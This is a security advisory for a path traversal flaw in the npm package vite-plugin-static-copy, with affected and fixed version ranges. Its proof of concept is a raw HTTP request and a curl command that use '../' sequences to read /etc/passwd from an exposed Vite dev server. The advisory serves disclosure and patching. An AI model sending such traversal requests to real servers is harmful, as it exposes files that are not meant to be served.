GHSA-pp7p-q8fx-2968

Suggest an improvement
Source
https://github.com/advisories/GHSA-pp7p-q8fx-2968
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-pp7p-q8fx-2968/GHSA-pp7p-q8fx-2968.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-pp7p-q8fx-2968
Aliases
Published
2025-08-21T14:53:52Z
Modified
2025-08-21T19:16:58Z
Severity
  • 6.0 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
vite-plugin-static-copy files not included in `src` are possible to access with a crafted request
Details

Summary

Files not included in src was possible to access with a crafted request.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Arbitrary files can be disclosed by exploiting this vulnerability.

Details

Consider the following configuration in used by vite.config.ts:

import { defineConfig } from 'vite'
import { viteStaticCopy } from 'vite-plugin-static-copy'

export default defineConfig({
    plugins: [
      viteStaticCopy({
        targets: [
          {
            src: "./public/images",
            dest: "./",
          },
        ],
      }),
    ],
  });

The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.

PoC

I've attached a demo app to showcase the bug.

Run it with npm run dev and issue the following HTTP request

GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2

OR

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: localhost:3001' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost:3001/static/images/../../../../../../../etc/passwd'

Observe that the /etc/passwd file is included in the response.

<img width="1289" height="449" alt="Screenshot 2025-08-16 at 10 27 11 PM" src="https://github.com/user-attachments/assets/4de12612-7b86-44d7-a403-c76f12832e37" />

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T14:53:52Z",
    "nvd_published_at": "2025-08-21T16:15:34Z",
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-22"
    ]
}
References

Affected packages

npm / vite-plugin-static-copy

Package

Name
vite-plugin-static-copy
View open source insights on deps.dev
Purl
pkg:npm/vite-plugin-static-copy

Affected ranges

Type
SEMVER
Events
Introduced
3.0.0
Fixed
3.1.2

Database specific

last_known_affected_version_range

"<= 3.1.1"

npm / vite-plugin-static-copy

Package

Name
vite-plugin-static-copy
View open source insights on deps.dev
Purl
pkg:npm/vite-plugin-static-copy

Affected ranges

Type
SEMVER
Events
Introduced
0.4.3
Fixed
2.3.2

Database specific

last_known_affected_version_range

"<= 2.3.1"